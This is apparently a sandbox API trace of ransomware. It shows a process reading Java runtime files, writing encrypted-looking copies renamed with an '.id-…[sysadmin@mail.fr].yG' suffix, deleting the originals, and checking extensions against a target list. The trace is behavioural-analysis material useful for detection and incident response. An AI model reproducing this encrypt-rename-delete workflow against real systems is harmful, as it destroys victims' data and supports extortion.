	[0147.292] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.292] WriteFile (in: hFile=0x540, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xfe, lpOverlapped=0x0) returned 1
	[0147.292] SetEndOfFile (hFile=0x540) returned 1
	[0147.292] CloseHandle (hObject=0x540) returned 1
	[0147.292] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.293] SetEndOfFile (hFile=0x518) returned 1
	[0147.302] CloseHandle (hObject=0x518) returned 1
	[0147.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.303] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1
	[0147.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.304] lstrlenW (lpString=".doc") returned 4
	[0147.304] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0147.304] lstrlenW (lpString=".docx") returned 5
	[0147.304] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0147.304] lstrlenW (lpString=".pdf") returned 4
	[0147.304] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0147.304] lstrlenW (lpString=".xls") returned 4
	[0147.304] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0147.304] lstrlenW (lpString=".xlsx") returned 5
	[0147.304] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0147.304] lstrlenW (lpString=".ppt") returned 4
	[0147.304] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0147.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.304] lstrlenW (lpString=".zip") returned 4
	[0147.304] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0147.305] lstrlenW (lpString=".rar") returned 4
	[0147.305] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0147.305] lstrlenW (lpString=".bz2") returned 4
	[0147.305] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0147.305] lstrlenW (lpString=".7z") returned 3
	[0147.305] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0147.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.305] lstrlenW (lpString=".dbf") returned 4
	[0147.305] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0147.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.305] lstrlenW (lpString=".1cd") returned 4
	[0147.305] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0147.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.305] lstrlenW (lpString=".jpg") returned 4
	[0147.305] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0147.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.305] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.306] lstrlenW (lpString=".doc") returned 4
	[0147.306] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0147.306] lstrlenW (lpString=".docx") returned 5
	[0147.306] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0147.306] lstrlenW (lpString=".pdf") returned 4
	[0147.306] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0147.306] lstrlenW (lpString=".xls") returned 4
	[0147.306] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0147.306] lstrlenW (lpString=".xlsx") returned 5
	[0147.306] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0147.306] lstrlenW (lpString=".ppt") returned 4
	[0147.306] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0147.306] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.306] lstrlenW (lpString=".zip") returned 4
	[0147.306] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0147.306] lstrlenW (lpString=".rar") returned 4
	[0147.306] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0147.306] lstrlenW (lpString=".bz2") returned 4
	[0147.307] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0147.307] lstrlenW (lpString=".7z") returned 3
	[0147.307] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0147.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.307] lstrlenW (lpString=".dbf") returned 4
	[0147.307] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0147.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.307] lstrlenW (lpString=".1cd") returned 4
	[0147.307] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0147.307] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0147.307] lstrlenW (lpString=".jpg") returned 4
	[0147.307] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0147.307] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0147.307] lstrlenW (lpString="plugin.jar") returned 10
	[0147.308] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0147.308] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=1923211) returned 1
	[0147.308] CloseHandle (hObject=0x518) returned 1
	[0147.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20
	[0147.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0147.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.309] lstrlenW (lpString=".doc") returned 4
	[0147.309] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0147.309] lstrlenW (lpString=".docx") returned 5
	[0147.309] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0147.310] lstrlenW (lpString=".pdf") returned 4
	[0147.310] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0147.310] lstrlenW (lpString=".xls") returned 4
	[0147.310] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0147.310] lstrlenW (lpString=".xlsx") returned 5
	[0147.310] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0147.310] lstrlenW (lpString=".ppt") returned 4
	[0147.310] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0147.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.310] lstrlenW (lpString=".zip") returned 4
	[0147.310] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0147.310] lstrlenW (lpString=".rar") returned 4
	[0147.310] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0147.310] lstrlenW (lpString=".bz2") returned 4
	[0147.310] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0147.310] lstrlenW (lpString=".7z") returned 3
	[0147.310] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0147.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.311] lstrlenW (lpString=".dbf") returned 4
	[0147.311] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0147.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.311] lstrlenW (lpString=".1cd") returned 4
	[0147.311] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0147.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.311] lstrlenW (lpString=".jpg") returned 4
	[0147.311] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0147.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.311] lstrlenW (lpString=".doc") returned 4
	[0147.311] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0147.311] lstrlenW (lpString=".docx") returned 5
	[0147.311] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0147.312] lstrlenW (lpString=".pdf") returned 4
	[0147.312] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0147.312] lstrlenW (lpString=".xls") returned 4
	[0147.312] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0147.312] lstrlenW (lpString=".xlsx") returned 5
	[0147.312] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0147.312] lstrlenW (lpString=".ppt") returned 4
	[0147.312] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0147.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.312] lstrlenW (lpString=".zip") returned 4
	[0147.312] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0147.312] lstrlenW (lpString=".rar") returned 4
	[0147.312] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0147.312] lstrlenW (lpString=".bz2") returned 4
	[0147.312] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0147.312] lstrlenW (lpString=".7z") returned 3
	[0147.313] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0147.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.313] lstrlenW (lpString=".dbf") returned 4
	[0147.313] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0147.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.313] lstrlenW (lpString=".1cd") returned 4
	[0147.313] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0147.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0147.313] lstrlenW (lpString=".jpg") returned 4
	[0147.313] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0147.313] lstrcmpiW (lpString1=".ja", lpString2=".yG") returned -1
	[0147.313] lstrlenW (lpString="psfont.properties.ja") returned 20
	[0147.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0147.321] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=2796) returned 1
	[0147.321] CloseHandle (hObject=0x518) returned 1
	[0147.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20
	[0147.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0147.322] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.322] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.323] GetLastError () returned 0x0
	[0147.323] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xaec, lpOverlapped=0x0) returned 1
	[0147.367] WriteFile (in: hFile=0x4b0, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0147.368] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.368] WriteFile (in: hFile=0x4b0, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xfc, lpOverlapped=0x0) returned 1
	[0147.368] SetEndOfFile (hFile=0x4b0) returned 1
	[0147.368] CloseHandle (hObject=0x4b0) returned 1
	[0147.368] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.369] SetEndOfFile (hFile=0x518) returned 1
	[0147.372] CloseHandle (hObject=0x518) returned 1
	[0147.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0147.374] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1
	[0147.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.378] lstrlenW (lpString=".doc") returned 4
	[0147.378] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0147.378] lstrlenW (lpString=".docx") returned 5
	[0147.379] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0147.379] lstrlenW (lpString=".pdf") returned 4
	[0147.379] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0147.379] lstrlenW (lpString=".xls") returned 4
	[0147.379] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0147.379] lstrlenW (lpString=".xlsx") returned 5
	[0147.379] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0147.379] lstrlenW (lpString=".ppt") returned 4
	[0147.379] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0147.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.380] lstrlenW (lpString=".zip") returned 4
	[0147.380] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0147.380] lstrlenW (lpString=".rar") returned 4
	[0147.380] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0147.380] lstrlenW (lpString=".bz2") returned 4
	[0147.380] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0147.380] lstrlenW (lpString=".7z") returned 3
	[0147.381] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0147.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.381] lstrlenW (lpString=".dbf") returned 4
	[0147.381] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0147.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.381] lstrlenW (lpString=".1cd") returned 4
	[0147.381] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0147.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.381] lstrlenW (lpString=".jpg") returned 4
	[0147.381] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0147.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.382] lstrlenW (lpString=".doc") returned 4
	[0147.382] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0147.382] lstrlenW (lpString=".docx") returned 5
	[0147.382] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0147.382] lstrlenW (lpString=".pdf") returned 4
	[0147.382] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0147.382] lstrlenW (lpString=".xls") returned 4
	[0147.382] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString=".xlsx") returned 5
	[0147.756] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0147.756] lstrlenW (lpString=".ppt") returned 4
	[0147.756] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.756] lstrlenW (lpString=".zip") returned 4
	[0147.756] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString=".rar") returned 4
	[0147.756] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString=".bz2") returned 4
	[0147.756] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString=".7z") returned 3
	[0147.756] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0147.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.756] lstrlenW (lpString=".dbf") returned 4
	[0147.756] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.756] lstrlenW (lpString=".1cd") returned 4
	[0147.756] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0147.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0147.756] lstrlenW (lpString=".jpg") returned 4
	[0147.756] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0147.757] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0147.757] lstrlenW (lpString="rt.jar") returned 6
	[0147.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0148.052] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=54560347) returned 1
	[0148.052] CloseHandle (hObject=0x52c) returned 1
	[0148.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20
	[0148.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.754] lstrlenW (lpString=".doc") returned 4
	[0148.754] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0148.754] lstrlenW (lpString=".docx") returned 5
	[0148.754] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0148.754] lstrlenW (lpString=".pdf") returned 4
	[0148.754] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0148.754] lstrlenW (lpString=".xls") returned 4
	[0148.754] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0148.754] lstrlenW (lpString=".xlsx") returned 5
	[0148.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0148.754] lstrlenW (lpString=".ppt") returned 4
	[0148.755] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.755] lstrlenW (lpString=".zip") returned 4
	[0148.755] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0148.755] lstrlenW (lpString=".rar") returned 4
	[0148.755] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0148.755] lstrlenW (lpString=".bz2") returned 4
	[0148.755] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0148.755] lstrlenW (lpString=".7z") returned 3
	[0148.755] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.755] lstrlenW (lpString=".dbf") returned 4
	[0148.755] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.755] lstrlenW (lpString=".1cd") returned 4
	[0148.755] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.755] lstrlenW (lpString=".jpg") returned 4
	[0148.755] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.755] lstrlenW (lpString=".doc") returned 4
	[0148.755] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0148.755] lstrlenW (lpString=".docx") returned 5
	[0148.755] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0148.756] lstrlenW (lpString=".pdf") returned 4
	[0148.756] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0148.756] lstrlenW (lpString=".xls") returned 4
	[0148.756] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0148.756] lstrlenW (lpString=".xlsx") returned 5
	[0148.756] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0148.756] lstrlenW (lpString=".ppt") returned 4
	[0148.756] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0148.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.756] lstrlenW (lpString=".zip") returned 4
	[0148.756] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0148.756] lstrlenW (lpString=".rar") returned 4
	[0148.756] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0148.756] lstrlenW (lpString=".bz2") returned 4
	[0148.756] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0148.756] lstrlenW (lpString=".7z") returned 3
	[0148.756] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0148.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.756] lstrlenW (lpString=".dbf") returned 4
	[0148.756] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0148.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.756] lstrlenW (lpString=".1cd") returned 4
	[0148.756] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0148.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0148.756] lstrlenW (lpString=".jpg") returned 4
	[0148.756] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0148.757] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".yG") returned -1
	[0148.757] lstrlenW (lpString="cacerts") returned 7
	[0148.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0148.986] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=114923) returned 1
	[0148.986] CloseHandle (hObject=0x520) returned 1
